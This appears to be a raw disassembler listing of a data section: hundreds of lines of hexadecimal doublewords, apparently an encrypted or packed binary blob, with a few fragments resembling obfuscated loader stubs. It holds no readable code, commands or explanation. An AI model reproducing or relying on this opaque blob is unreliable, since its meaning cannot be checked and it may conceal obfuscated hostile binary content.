		dd 20BDF0CAh, 0E3E4D922h, 4F1757Bh, 4F9FF26h, 20BD2926h
		dd 0E3ECDE22h, 0AB57C46Eh, 0A06D18D5h, 0DA367CFBh, 0EB1C7CABh
		dd 0A9EEFBC1h, 0C0A4DBBFh, 0D8366125h, 20BF5327h, 85384622h
		dd 0A3BA04E9h, 0A534EBE2h, 275E328Bh, 0CC043C11h, 0D3BD7E20h
		dd 0A94CB488h, 0C09F3ABFh, 79380925h, 63BA0725h, 0E0579BD7h
		dd 143C09A1h, 0C4164806h, 77BD144Eh, 20BD3CCAh,	0E3E2BF22h
		dd 4C1467Dh, 4F96626h, 20BDEB26h, 0E3EABE22h, 61976565h
		dd 20BB9787h, 32DB3F22h, 0FC2C0D33h, 20BDDCCBh,	928F3222h
		dd 0EC059865h, 0AF44F6B1h, 0B8B03F9Eh, 8DF48F60h, 9908ADDh
		dd 9ADB98C2h, 6C077E9Dh, 0AD94AAA6h, 0C3C21BA7h, 28550125h
		dd 0C3BDFC22h, 19E14C65h, 119FB866h, 0C08FA2B7h, 0F0429025h
		dd 0C8EBE748h, 20BDF321h, 7E7EA702h, 249988ABh,	24993AA3h
		dd 20BD3F3Eh, 67EC964h,	0ACAD9BA4h, 0A5CC2FE2h,	3E04EABh
		dd 0A534FEC2h, 275DD9E7h, 0C8EA7E48h, 20BD3F21h, 7F7EC002h
		dd 2499B3ABh, 2499A3A3h, 20BDF338h, 337EAE65h, 3E356401h
		dd 0CB37189Dh, 378CBAAFh, 0AD3698C2h, 275DCF0Bh, 3C187229h
		dd 0A534F4C2h, 275DCD63h, 3F684909h, 345479C2h,	0AFBD3F22h
		dd 59001160h, 2171C93Eh, 578BFDECh, 3AE29F78h, 0E653AC0Fh
		dd 0C0BAA5A7h, 20D72D25h, 20BED772h, 789D9F22h,	643497E1h
		dd 643CE306h, 20A7F706h, 70FDF922h, 0C3663FE1h,	501EE30Dh
		dd 7D303442h, 0C9BA7F32h, 20BDCF33h, 7C4D176h, 0BCEF28C6h
		dd 9C2BCDC2h, 0BDDA353Ah, 9D361FC9h, 275D3B4Bh,	0F903BA4Ah
		dd 20AD27CBh, 0AFFDE722h, 1C2C813Fh, 69E1890h, 0C3ED7C37h
		dd 0ABDBFCF0h, 243C66EDh, 0F7372C06h, 39384630h, 0DFBA073Ah
		dd 0C094DE97h, 75007225h, 0ADBA1C16h, 0C3C296A7h, 0D00A3025h
		dd 20D74FDDh, 20BE2775h, 7F9DE722h, 5C34ACE1h, 643CFD06h
		dd 20A5F806h, 77FA7E22h, 277E91E1h, 0BDB461EFh,	275DD3A7h
		dd 28246A29h, 0A534F4C2h, 275DE18Bh, 20BDFBCAh,	0D338B022h
		dd 0B840B3D9h, 7938597Dh, 73BA2F25h, 0C8EBE748h, 20BDF321h
		dd 7E7EA702h, 249988ABh, 24993AA3h, 20BD3F3Ah, 6B7EC964h
		dd 58414AE3h, 20BF6C2Dh, 0D936F322h, 0E4CEA34Ah, 0A1E3AC56h
		dd 71E45A26h, 0B5945C76h, 275DAD33h, 9907ADDh, 20D7E0C2h
		dd 20BE1B77h, 7D9DF922h, 4C34A1E1h, 643C7A06h, 20A73B06h
		dd 75F89F22h, 8D34F9E1h, 4AB1C356h, 5F5576AFh, 0A1DBFEC1h
		dd 0DFDE2CCBh, 77BD14F2h, 20BD3CCAh, 0E3E2BF22h, 4C1467Dh
		dd 4F96626h, 20BDE926h,	0E3EABE22h, 7D06CD3Ch, 2B0AF9DDh
		dd 0C0BDBAAFh, 89381625h, 4ABA2F3Fh, 2355B722h,	0BDF322h
		dd 0A9E53A7Ah, 0A1B9D866h, 39B95A66h, 60BD3F22h, 37B5C72h
		dd 41F3D87Fh, 61006E42h, 2FBA1331h, 0E6DC289Dh,	0C0BAA5A7h
		dd 20D73925h, 20BED774h, 7E9D9F22h, 543491E1h, 643CE306h
		dd 20ABF706h, 76FBF922h, 0C0ED5BE1h, 6E0C3ABh, 0FAD538C2h
		dd 9A3B979Fh, 997AE65h,	0EF99E3A3h, 4A8C253Dh, 2355AA22h
		dd 0BDFC22h, 0A9E6BD79h, 0A1B91B7Eh, 37B9BB66h,	63BDCF22h
		dd 0A9B82471h, 0ABDBA170h, 0D0806D0h, 2BBA1C0Bh, 0C0A80FB7h
		dd 0AD6EB425h, 0C3C277A7h, 70BDA525h, 20BDE4CAh, 0E3E5D322h
		dd 4F9707Ah, 4F97D26h, 20BD6B26h, 0E3ED7F22h, 97B2C57Eh
		dd 0A96D30E9h, 0C0A0F6B7h, 0D1387A25h, 92BA193Eh, 79383A8Ch
		dd 67BA9E25h, 0C875802Dh, 20BD9F26h, 0A161DF58h, 20B8682Dh
		dd 0C703F322h, 70AFF0B0h, 2499B8A9h, 20AF9773h,	6A43F22h
		dd 0C1423811h, 0ECFD5D44h, 0A55E1E19h, 8131EC94h, 2FBD727Ch
		dd 20BDF8AEh, 41DD2D22h, 4F9B67Bh, 2504F926h, 0F93D9760h
		dd 0D13C8117h, 95426FCBh, 275DD00Fh, 5F5579AFh,	20D779C1h
		dd 20BED770h, 7A9D9F22h, 743495E1h, 643CE306h, 20A6F706h
		dd 72FFF922h, 0F35EA3E1h, 0D2926C6Eh, 21333068h, 0D8BD9F22h
		dd 20D71FDDh, 20BE0F72h, 789DF322h, 6434A1E1h, 643CF806h
		dd 20A87A06h, 70FD3F22h, 9A57F4E1h, 0BCD4F74h, 3E462ABh
		dd 20D7F4C2h, 20BE1177h, 7D9DFC22h, 4C3423E1h, 643C3B06h
		dd 20A49B06h, 75F8CF22h, 89A34DE1h, 0ABD29DABh,	0C098049Fh
		dd 79383A25h, 67BA9E25h, 24559993h, 7DBD9F22h, 7017021Eh
		dd 643610A9h, 72EDF706h, 0BA029F42h, 2624421Eh,	2FDC202Bh
		dd 7A4CB413h, 96BD147Ah, 4F94610h, 0C9EFB726h, 20BDF329h
		dd 0E767E2D0h, 9C98A8D3h, 2F6C1713h, 61538113h,	78E799ADh
		dd 0DF6B447Ah, 0C094CA97h, 75BD9925h, 20BDFACAh, 0E3E0DC22h
		dd 4D1F77Fh, 4F9BE26h, 20BD8B26h, 0E3E88A22h, 49086C4Ah
		dd 0ADBA1316h, 0C3C211A7h, 76BD9625h, 20BD7DCAh, 0E3E31F22h
		dd 4C9167Ch, 4F94E26h, 20BDFA26h, 0E3EBB522h, 35292105h
		dd 77A4C0C4h, 7FED30F0h, 6C82A9h, 0F04298C2h, 0C8E8CF48h
		dd 20BDE721h, 7D7EAE02h, 249995ABh, 2499B8A3h, 20BD7E36h
		dd 737E6A67h, 20BD93CAh, 7FEFCB22h, 25CF8E82h, 45C3065Ch
		dd 95B4A975h, 275DEE2Bh, 0A534247Ch, 275D2F47h,	0C8EA9F48h
		dd 20BDCF21h, 7F7EB802h, 24998FABh, 2499BDA3h, 20BDFC37h
		dd 0FF7E2965h, 6100B6A3h, 0DFBA7F0Fh, 25524EF2h, 0A982AB68h
		dd 0C0B80AA7h, 70BD9325h, 20BDFFCAh, 0E3E55E22h, 4F9B67Ah
		dd 4F91E26h, 20BDD926h,	0E3EDA722h, 0C904ED98h,	20BDF936h
		dd 389DB600h, 7D791BCFh
		dd 5A6F94A0h, 8D49ACEFh, 12166DD3h, 4A656B44h, 2355A122h
		dd 0BDF922h, 0A9E73F78h, 0A1B95A76h, 35B91B66h,	62BD9F22h
		dd 0DC4C0C70h, 44E6C44h, 3355A126h, 64BDF922h, 0EE309AB0h
		dd 0ABD8E46Ch, 9D6CA5F0h, 8C4333F0h, 0ADB21A88h, 20BDE722h
		dd 0E0B7AA7Dh, 23057D2Dh, 20D7FC22h, 20BE9675h,	7F9D3F22h
		dd 5C34C0E1h, 643CCB06h, 20AAE306h, 77FAF322h, 1FBFCEE1h
		dd 3130770Eh, 0E6BA9E3Dh, 0C0BA66A7h, 20D7D025h, 20BE2770h
		dd 7A9DE722h, 7434A9E1h, 643CFD06h, 20A9F806h, 72FF7E22h
		dd 0B59E1BE1h, 275DBC13h, 0DAD54A4Ah, 0A1C25152h, 2482D726h
		dd 20D7B7A4h, 20BE1477h, 7D9D7E22h, 4C3462E1h, 643C9B06h
		dd 20A6CB06h, 75F8E722h, 779C4E1h, 573D2B2Bh, 7D087756h
		dd 0DFBA9E03h, 0C0941297h, 95281625h, 0ADBA2F35h, 0C3C20FA7h
		dd 71BD9925h, 20BDFACAh, 0E3E4DC22h, 4F1F77Bh, 4F9BE26h
		dd 20BD8526h, 0E3EC8E22h, 45A4AD37h, 0DF36DE6Ah, 75BD93F2h
		dd 20BDFFCAh, 0E3E05E22h, 4D1B67Fh, 4F91E26h, 20BDD926h
		dd 0E3E8A222h, 0AB24F7F6h, 0C0A54097h, 41387525h, 0A3BA9E3Bh
		dd 20D71BE2h, 20BE7771h, 7B9DCF22h, 7C34BCE1h, 643CF706h
		dd 20A6FD06h, 73FEFC22h, 0B20B70E1h, 9E415CD2h,	0E8029027h
		dd 24872A9h, 0A534E0C2h, 275DD2EFh, 0C8EEF948h,	20BDFC21h
		dd 7B7E2502h, 249963ABh, 2499DBA3h, 20BDCF34h, 467EB461h
		dd 2FDD4167h, 20BDFCAFh, 0E5524622h, 0BD8E4BEDh, 275D1DE3h
		dd 0D9381443h, 0D5BA2F27h, 30D87AA9h, 2FECF4C2h, 20BDFBAFh
		dd 79E2AA22h, 77BD1461h, 20BD3CCAh, 0E3E2BF22h,	4C1467Dh
		dd 4F96626h, 20BDE826h,	0E3EABE22h, 7BD4D797h, 5F40712h
		dd 993C8044h, 0D920B642h, 0A9BA2F2Fh, 0C0B006BFh, 3B369225h
		dd 0C8E8F948h, 20BDFC21h, 7D7E2302h, 249953ABh,	2499DBA3h
		dd 20BDCF35h, 3E7EB267h, 0ABF755C2h, 2634F639h,	0ABBDFC22h
		dd 0C0923397h, 4AA6B425h, 2355C822h, 0BDCF22h, 0A9E2247Dh
		dd 0A1B9D75Eh, 35B9DD66h, 67BDFC22h, 1B30BD75h,	20D7E711h
		dd 20BE7770h, 7A9DCF22h, 7434BDE1h, 643CF706h, 20A6FD06h
		dd 72FFFC22h, 31C153E1h, 0E75D3A76h, 203E90B5h,	0A9BDCF22h
		dd 0C08C6EBFh, 73BD9925h, 20BDFACAh, 0E3E6DC22h, 4E1F779h
		dd 4F9BE26h, 20BD8A26h,	0E3EE8C22h, 0EE039407h,	0E6CA4641h
		dd 0C0BAA0A7h, 20D7BB25h, 20BE9672h, 789D3F22h,	6434C7E1h
		dd 643CCB06h, 20A5E306h, 70FDF322h, 0FFE0A2E1h,	0ABDB2CB1h
		dd 20BA96D8h, 0B5ED3F22h, 0C81F4379h, 0C530E4ADh, 7FBA070Ah
		dd 122A064Ah, 4B978A9h,	0C11B996h, 20BD6DCBh, 9CA4EC22h
		dd 0AAF4CB07h, 0A4E6121Eh, 0CB34ABC2h, 6D3A865Ah, 20BDE8CAh
		dd 1F9EF422h, 0BE0122E5h, 0E60AD57Bh, 29968A91h, 2B54761Ch
		dd 27BDE722h, 177E6DC4h, 2C49BDFAh, 0DFE3DEF8h,	0C0945397h
		dd 8D281625h, 0ADBA7F11h, 0C3C227A7h, 73BD8D25h, 20BDF0CAh
		dd 0E3E6D922h, 4E17579h, 4F9FF26h, 20BD2226h, 0E3EEDC22h
		dd 43EFAF11h, 65473204h, 0AD34A13Ch, 275DDD33h,	20BDF2CBh
		dd 96146B22h, 0A9EE2AA9h, 876D84C2h, 0DF6F4C50h, 70BD8DF2h
		dd 20BDF0CAh, 0E3E5D922h, 4F9757Ah, 4F9FF26h, 20BD2926h
		dd 0E3EDDF22h, 0A952080Ah, 0C0A116A7h, 1108F025h, 60BA190Bh
		dd 0C8ECFC48h, 20BD7E21h, 797E6602h, 2499D3ABh,	24998BA3h
		dd 20BDE739h, 5F7EA263h, 166E3438h, 0B140ADCh, 0C0A88BAFh
		dd 0C8BDB425h, 20BD9F2Eh, 4E313979h, 0CE7B1F76h, 0FAA17E3Eh
		dd 0ABE708A8h, 0BD207522h, 0A9BA9E34h, 0C0A032A7h, 0C23CF925h
		dd 5954CC30h, 4ABDE723h, 2355A222h, 0BDF922h, 0A9E43F7Bh
		dd 0A1B95A6Eh, 37B91B66h, 61BD9F22h, 82FF0C73h,	9EDB79FCh
		dd 0A530BCE0h, 275E32E5h, 0C8EDFC48h, 20BD7E21h, 787E6702h
		dd 2499DBABh, 24998BA3h, 20BDE736h, 1F7EA362h, 3BE46CA9h
		dd 0C92DFBC2h, 20BD7E2Ah, 13F48085h, 0F0364C92h, 72EF9F72h
		dd 2FE41FA9h, 7FEAA313h, 0B0E5A378h, 0C8E8FC48h, 20BD7E21h
		dd 7D7E6202h, 2499F3ABh, 24998BA3h, 20BDE739h, 0B67EA667h
		dd 591ECDF9h, 0DF204128h, 0C0A213B7h, 26546825h, 0C3BD9F22h
		dd 6054739Fh, 0BD30B95Fh, 275E38EFh, 20B71042h,	8D66FC22h
		dd 0D781BA9Ch, 0C2B8D1C3h, 2C55CF43h, 0EEBDCF22h, 0C4ECF62h
		dd 0FF1AD5Ch, 0C8F1FE2Eh, 20BDFC31h, 8AC03637h,	39478E7Eh
		dd 0FF44A0D7h, 0F4FA6AFDh, 70FA395Fh, 7A8CFC70h, 0A9E3A67Ah
		dd 20D7D83Eh, 20BE9671h, 7B9D3F22h, 7C34C4E1h, 643CCB06h
		dd 20A1E306h, 73FEF322h, 0FFD73FE1h, 83A39864h,	0AD365109h
		dd 275D1E8Bh, 4403F972h, 4B94617h, 0C8EAE748h, 20BDF321h
		dd 7F7EA602h, 249980ABh, 24993AA3h, 20BD3F39h, 347EC865h
		dd 80439718h, 0DFB9EBFCh, 0C0A0F6B7h, 8D20C825h, 0A9BA1C2Ah
		dd 0C09CB3A7h, 72BD5525h, 20BD9CCAh, 0E3E7EF22h, 4E96E78h
		dd 4F97226h, 20BDE126h,	0E3EFBE22h, 0AB8C70AEh,	0EF3C598Ch
		dd 310BA3FCh, 27E44AE4h, 0ABEEE0C2h, 54709BF2h,	0ABB29BFBh
		dd 20BDFC22h, 92997AA3h, 4AFA912Dh, 2355CC22h, 0BDCF22h
		dd 0A9E62479h, 0A1B9D77Eh, 3AB9DD66h, 63BDFC22h, 2D4FBD71h
		dd 0D6F76F53h, 20AD773Fh, 879CCF22h, 0B46A8A6Fh, 0DEC117C8h
		dd 6307F2DEh, 0E836C660h, 0D08817Dh, 0ABBADF0Bh, 0C0A31EB7h
		dd 0C8384225h, 0ABBA045Dh, 0C0917AAFh, 0AB6D0625h, 0B93875F2h
		dd 4ABA9E08h, 23556F22h, 0BD9F22h, 0A9E50C7Ah, 0A1B9C366h
		dd 39B9D766h, 60BDF922h, 49E43F72h, 69884B6Bh, 20BDBB2Dh
		dd 0A57B9F22h, 275DC87Bh, 29306C65h, 0C8BA1301h, 20BDF926h
		dd 81CFE9B2h, 20BDF12Dh, 73ED3F22h, 20BD8FCBh, 0D191F322h
		dd 3E98A991h, 34EAC890h, 9A71ABAh, 6436A27Eh, 72ED7A06h
		dd 20BD39CBh, 3A2C1722h, 2F6B650Dh, 0C002B713h,	7FF0617Eh
		dd 2036A178h, 20BDF5CBh, 0FBAD2722h, 2E7FFEDCh,	64348FEDh
		dd 72EDCB06h, 11B216A9h, 21E5AB78h, 0C0A020A7h,	0D080325h
		dd 0C9BA9E0Bh, 20BD3F33h, 0E04E6324h, 0BFA9A3CBh, 141F1749h
		dd 0E53BBA8Ah, 0C8387466h, 4ABA1F5Dh, 23552E22h, 0BD3F22h
		dd 0A9E55C7Ah, 0A1B9EB66h, 3CB9C366h, 60BDF322h, 0E7223A72h
		dd 2304DEDEh, 0C97F7950h, 20BD3F2Bh, 0FD81156Bh, 6C5D4B79h
		dd 4A6D18ABh, 2355A622h, 0BDF922h, 0A9E03F7Fh, 0A1B95A4Eh
		dd 37B91B66h, 65BD9F22h, 0A28C0C77h, 0F13C4615h, 0EAD8B6Eh
		dd 10AC7CABh, 20D7FBC2h, 20BE9670h, 7A9D3F22h, 7434C5E1h
		dd 643CCB06h, 20A8E306h, 72FFF322h, 0E61AA0E1h,	0C0BAA5A7h
		dd 0BD342D25h, 275D3B9Bh, 20BD9BCAh, 19E25F22h,	140381BBh
		dd 72EDA3C7h, 0EC049F73h, 11B2A3D1h, 0CB24C444h, 64366778h
		dd 8029B06h, 0AB993BDAh, 20AC0E22h, 3647F322h, 5A953886h
		dd 196DF149h, 0A1768532h, 0A992EABFh, 78B9BB66h, 0C8ECCF48h
		dd 20BDE721h, 797EAA02h, 2499B5ABh, 2499B8A3h, 20BD7E38h
		dd 477E6E63h, 536896C2h, 95429ED7h, 275DCE0Fh, 0C8EAF348h
		dd 20BDF921h, 7F7EA302h, 249902ABh, 24997BA3h, 20BD9F3Eh
		dd 9F7E9865h, 1B392364h, 0D9DD93D3h, 0E8369942h, 41692AA2h
		dd 0FB0FBABh, 0ADDC38C2h, 0C3C277A7h, 75BDA525h, 20BDE4CAh
		dd 0E3E0D322h, 4D1707Fh, 4F97D26h, 20BD6326h, 0E3E87A22h
		dd 76239C67h, 1E546D2Dh, 0EA37163Bh, 548D4944h,	20D729DDh
		dd 20BE1475h, 7F9D7E22h
		dd 5C3460E1h, 643C9B06h, 20A4CB06h, 77FAE722h, 2D6FF7E1h
		dd 46C3E573h, 0A53402A9h, 275D5EB3h, 0C8EE3F48h, 20BD9F21h
		dd 7B7E9402h, 2499BBABh, 2499B7A3h, 20BDF935h, 0C57EAF61h
		dd 4646237Dh, 0A57BF1A9h, 275D987Bh, 76BDA575h,	20BDE4CAh
		dd 0E3E3D322h, 4C9707Ch, 4F97D26h, 20BD6726h, 0E3EB7922h
		dd 56D1BCA5h, 2C558AEBh, 88BDE722h, 0B0ABBD50h,	0E7555323h
		dd 2FEA6D0Dh, 0C8E3869Dh, 20BD3F26h, 0B0B9CD24h, 0CB2A7544h
		dd 4F96C72h, 0D10A9326h, 20BDF6CBh, 0EA1E9322h,	9D055CD7h
		dd 689A6251h, 4425E0BDh, 95BD4443h, 4F96E2Eh, 0F3369326h
		dd 1BC9D49Bh, 0A1E59D1Bh, 752C53E0h, 0CD281C57h, 0DFBA7F3Bh
		dd 0C094E297h, 0A4EF5825h, 1D0FF99Bh, 5F557CAFh, 9D96FBC1h
		dd 275D7023h, 20D7EFDDh, 20BE7777h, 7D9DCF22h, 4C34BAE1h
		dd 643CF706h, 20A1FD06h, 75F8FC22h, 0A40045E1h,	0DBFB2F0h
		dd 0A8B29CAFh, 20BDCF24h, 108C6A11h, 0A534F4C2h, 275DCAABh
		dd 0C8EDFC48h, 20BD7E21h, 787E6702h, 2499DBABh,	24998BA3h
		dd 20BDE73Eh, 1B7EA362h, 4B6FDBF5h, 42855FC7h, 5120F742h
		dd 0C9BADF25h, 20BD9F2Eh, 0D10BD002h, 0C12725B7h, 76B2B9D9h
		dd 79383F43h, 63BA1C25h, 0C8EB7E48h, 20BD3F21h,	7E7EC102h
		dd 2499BBABh, 2499A3A3h, 20BDF338h, 0A7EAF64h, 7DBCD1ECh
		dd 9FD5D35Fh, 0A1307F25h, 48D4BB26h, 0A1ECE072h, 76A47FDh
		dd 9542AA0Ah, 275DD00Fh, 20BDF2CAh, 23484B22h, 27404A6Ch
		dd 0C9CD1F5h, 0AB8F0B06h, 0C0B20EAFh, 0A530AD25h, 275E86CAh
		dd 0C8E8FC48h, 20BD7E21h, 7D7E6202h, 2499F3ABh,	24998BA3h
		dd 20BDE73Ah, 0AF7EA667h, 0F3973AC1h, 6D287770h, 7ABA9E25h
		dd 20D7EFDDh, 20BE7772h, 789DCF22h, 6434BFE1h, 643CF706h
		dd 20A8FD06h, 70FDFC22h, 40E044E1h, 0A975B444h,	0C0B912B7h
		dd 0A534AE25h, 275DFD87h, 0C8EEF348h, 20BDF921h, 7B7EA702h
		dd 249922ABh, 24997BA3h, 20BD9F35h, 0DD7E9C61h,	0AD14B497h
		dd 0C3764EA7h, 0F9087225h, 0B0BA1C01h, 0F6021842h, 20AED7E2h
		dd 7C3B9F22h, 2D07BAEFh, 8792AA0Bh, 6DEAF919h, 0F935F0BFh
		dd 2FEFACBCh, 7EE52413h, 0A3B26F43h, 20BD9F0Fh,	20BDDCCAh
		dd 71113C22h, 2ABF6BEFh, 0F210DECAh, 5EBD505Eh,	67863CE8h
		dd 20BD30CBh, 0FD871C22h, 0F9B95B9Bh, 0FA31E570h, 0CC0D3580h
		dd 20D76978h, 20BE1475h, 7F9D7E22h, 5C3460E1h, 643C9B06h
		dd 20A9CB06h, 77FAE722h, 0AD36B4E1h, 275DF997h,	20BDEDCAh
		dd 0CA20CA22h, 4FDBAB71h, 3C802AFDh, 0C28FEA88h, 95364337h
		dd 275DF50Fh, 4D280678h, 0A9BA1C3Dh, 0C0A2B397h, 0AB76B525h
		dd 8D3014FAh, 0ADBA2F39h, 0C37656A7h, 76BD9925h, 20BDFACAh
		dd 0E3E3DC22h, 4C9F77Ch, 4F9BE26h, 20BD8926h, 0E3EB8922h
		dd 0AB9997DDh, 0C09082B7h, 0FA0CA925h, 0A999F8ABh, 0C0A62F9Fh
		dd 72EDAC25h, 20BD93CAh, 0F9ED3922h, 40D30774h,	55E5E4E5h
		dd 203DF645h, 7ABDFC22h, 9EEB4F2Dh, 23692B9Dh, 70E5C57Dh
		dd 4A2E1EA9h, 2355B522h, 0BDF322h, 0A9E73A78h, 0A1B9D876h
		dd 35B95A66h, 62BD3F22h, 78A15C70h, 3BDC72A9h, 0B542E0C2h
		dd 275DEE27h, 20BDEBCAh, 0D8E3AE22h, 0B2DA7682h, 8C07B5B5h
		dd 2AD4B704h, 0ABF1B62Fh, 0C08C329Fh, 0A534A925h, 275DE3CBh
		dd 29B479ABh, 0A57A79C2h, 275D2CB3h, 20BD9F2Dh,	0C8E8CF48h
		dd 20BDE721h, 7D7EAE02h, 249995ABh, 2499B8A3h, 20BD7E3Ah
		dd 947E6A67h, 0B207474Fh, 9FB220A8h, 0C92818DCh, 2FBA1338h
		dd 0A5343295h, 275DFB47h, 0C8E87E48h, 20BD3F21h, 7D7EC202h
		dd 2499A3ABh, 2499A3A3h, 20BDF33Eh, 8B7EAC67h, 27DCAC8Ch
		dd 0C069B269h, 578BAA9h, 0BD3098C2h, 275E10D8h,	0ADBCA4ABh
		dd 0C0AAC29Fh, 0F4087425h, 99BA1FFDh, 20BD7E11h, 13569BD1h
		dd 20BD9F9Ah, 547DC422h, 20A52521h, 2C99B7A9h, 20BD1171h
		dd 0A1E6FC22h, 20BD69E1h, 4E1B622h, 4F91632h, 17059436h
		dd 0DFBD4682h, 4F978C2h, 4A5D0626h, 2355AD22h, 0BD7E22h
		dd 0A9E4FC7Bh, 0A1B9BB6Eh, 3BB9EB66h, 61BDE722h, 9B9C3073h
		dd 0C16D7C4Fh, 9D3426F3h, 275D4D1Fh, 77BD5543h,	20BD9CCAh
		dd 0E3E2EF22h, 4C16E7Dh, 4F97226h, 20BDE526h, 0E3EABB22h
		dd 58C340D6h, 6C8EBA2Ch, 0DD089650h, 0ADBA2F01h, 0C376569Fh
		dd 57307E25h, 98BA1AC2h, 0B89B5717h, 2490FB11h,	0EF9638C2h
		dd 9846DDE3h, 97A96151h, 25C0A772h, 0AF217D72h,	25C08FF9h
		dd 22263171h, 83A9BD3Fh, 0A4F305E9h, 6AD98Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 84D022C3h
		dd 373A1D47h, 602074C9h, 58D0Fh, 81660000h, 618869C2h
		dd 293D8D8Bh, 66E907E0h, 0F5000000h, 51006A61h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 77EB7E83h
		dd 8860FF9h, 60000000h,	9034D0BBh, 0F61F945h, 0E80h, 820F6000h
		dd 0
aBAJ		db 'ÒÉ\,',9,'aÃj',0
		dw 0E853h
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6FC35343h, 0E4F7692Fh
		dd 0E9C08BF9h, 11h, 0C0FE784Eh,	0C0F9464Ah, 890D1A3Fh
		dd 8A8A07EAh, 0B1BD833Fh, 7E006h, 0BD830975h, 7E001C5h
		dd 50197400h, 0B8C08B53h, 4B9h,	23998589h, 9D8D07E0h, 7E2BCC9h
		dd 585BD3FFh, 1C5BD83h,	740007E0h, 0B8535017h, 4B9h, 23998589h
		dd 9D8D07E0h, 7E2B96Ah,	585BD3FFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C4C35747h,	603D291Dh, 3830Fh
		dd 8B660000h, 61F98AF2h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0AEC35646h, 2811611h,	0FA091F99h, 0FE9F9h
		dd 0E80B0000h, 0D993365Eh, 0ADB63307h, 0B554412Bh, 0FC08BA4h
		dd 784h, 1850F00h, 0F8000000h, 25E940h,	3C370000h, 3C75h
		dd 7 dup(0)
		dd 0E9000000h, 535h, 0AFC9836Bh, 243EF6DDh, 9BB56D52h
		dd 0E28E0C9h, 86A05A3Ch, 0B1938831h, 270BDDF7h,	9E81536Dh
		dd 14FACCE6h, 7560405Ah, 0D6BF5F52h, 0CEA51721h, 0BF456C8Fh
		dd 0D73121D6h, 878D38F0h, 32452B65h, 0B901CB4Fh, 384FFACCh
		dd 6CB3420Ch, 262C97DDh, 3FF9DBD9h, 0B36D5325h,	10CAB0AEh
		dd 6E260D0Bh, 6CC1F669h, 607A341Ah, 0F048FD29h,	0F13CBB4h
		dd 61676DF0h, 0B2CC8467h, 43ECFDE0h, 4E6DEBh, 350F26D1h
		dd 428F954Fh, 0A1A66044h, 0D7217EABh, 3AAFE3F4h, 3E7C00DFh
		dd 4347C144h, 3E55B242h, 0BA5A961Bh, 0E28DE029h, 5610F6C8h
		dd 5AA40A51h, 11F729BAh, 6D545257h, 83DB0B5h, 0C27A61ABh
		dd 0F21BC6BDh, 0D00E6CC1h, 0FB5434ACh, 71h, 9B46DC08h
		dd 4B5FD4F8h, 452B2345h, 1235748Bh, 29BAA09Fh, 768084D7h
		dd 195B60CAh, 98FB484Eh, 0D3EBDD6Ch, 0CCD24EF5h, 0B9FE2689h
		dd 7CD10229h, 3449E01Eh, 10B54h, 2B550000h, 0E7A18544h
		dd 694B253Ch, 0F95CA9AFh, 7C823A1Fh, 0F3DC9B82h, 8D8B903Bh
		dd 74E7ECA4h, 6C532955h, 0C758C9DBh, 2B2227E1h,	0A8057A80h
		dd 0A5BF775Eh, 1933EDD3h, 36492B1Fh, 0A5E06866h, 7C812C7Ch
		dd 0DADF977Eh, 82D42972h, 0FACCE6A0h, 57555A14h, 0B7B5BA72h
		dd 712910D1h, 0C5CA756Ch, 2126DEC7h, 5EA1FE2Bh,	3A90ED4Eh
		dd 54342C1Ch, 8037h, 836A4400h,	1DCFC6CBh, 837A7F39h, 492B5B7Dh
		dd 0A78C8A8Fh, 5877EAEFh, 0A0BBF619h, 70C329BAh, 4E98F56Ah
		dd 0C698B26Ch, 27252AE4h, 8381863Eh, 0E4E2E7A1h, 0DA4247FFh
		dd 0E1F13C91h, 81CD2380h, 0CA5434E8h, 89h, 8F492B14h, 1AFB278Ah
		dd 0DB4C44CDh, 785B555Bh, 6D18D0B9h, 3A332A56h,	6D1B23FDh
		dd 0D1C8CD87h, 0A1D32026h, 6E097ECh, 2EAB0E1Fh,	3C1D6BC5h
		dd 8F958C91h, 0DFF9B395h, 6487C6E5h, 29BAA14Dh,	0D6D0D629h
		dd 264C30EFh, 0BAA0AE03h, 0CA75C829h, 0C23CEC5h, 24CE0AE0h
		dd 2F35A3A2h, 0CD139BE2h, 0F81329B9h, 78A6C6CCh, 0DBE146E7h
		dd 69D8DC3Bh, 57A800Fh,	981452A8h, 38645434h, 0EC9123B7h
		dd 0ED71774Ch, 1, 87462B37h, 45FDE2A3h,	0F39E4940h, 0AB5F8BEEh
		dd 9FC6C346h, 0DBC1BBC1h, 0F9261C21h, 0AE6D52A4h, 160D12CCh
		dd 0FB25516Bh, 6802253Ch, 9E2E59B9h, 0B89E5D44h, 0A3A853FEh
		dd 0EB05BFA5h, 62793319h, 0E6ECA688h, 0BA5D5299h, 590E21D9h
		dd 12CCB204h, 5E7C1F8h,	494F464Bh, 0AAAF694Fh, 0F50CC6ACh
		dd 777C341Bh, 0C52D7A80h, 81305392h, 0FD21D9B9h, 0D22FA4AAh
		dd 507CA288h, 41B306Dh,	1998933Bh, 6521D9E4h, 696E260Bh
		dd 21CC772h, 0D457E624h, 13E1153h, 0D15B0000h, 0ADD9F04Fh
		dd 2C01A76h, 308F9501h,	598CC90Dh, 0E7EC3F2Eh, 2F4903E9h
		dd 7F371EF8h, 837D837Ah, 7BDEE39Dh, 0FF04BCA1h,	22080208h
		dd 0E6125168h, 3359C32Fh, 0F8B9B491h, 0A321DA41h, 0C0308C0h
		dd 8FDCE235h, 3781DE27h, 41809751h, 0DA41931Eh,	0E698EB21h
		dd 4C434802h, 0D806E446h, 0F353D4B5h, 5Bh, 6487C63Dh, 29BAA14Dh
		dd 30E8CF29h, 8389342Bh, 2E45E02Fh, 0B2B76F54h,	6E2609BBh
		dd 0EBE60968h, 5356455Dh, 2B0FE900h, 6F756C71h,	0A1D6DB22h
		dd 0D697A9BAh, 0EB4AD579h, 3F7295D4h, 37A9BAA2h, 5C7FDEE4h
		dd 0D6455F75h, 5D94AE01h, 0A0B6FB1Eh, 6DC029BAh, 7E3D67h
		dd 0D1D30000h, 0B6D9F04Fh, 2E5AA4E4h, 2BAFDB1Ah, 0BABB033Ah
		dd 0A5B001FCh, 73C621D9h, 0F6FB4E6Dh, 6C5112F8h, 0D12CAADh
		dd 6F666B16h, 0F2D8AAC4h, 0E0EC3338h, 4721D9A5h, 5EB3D92h
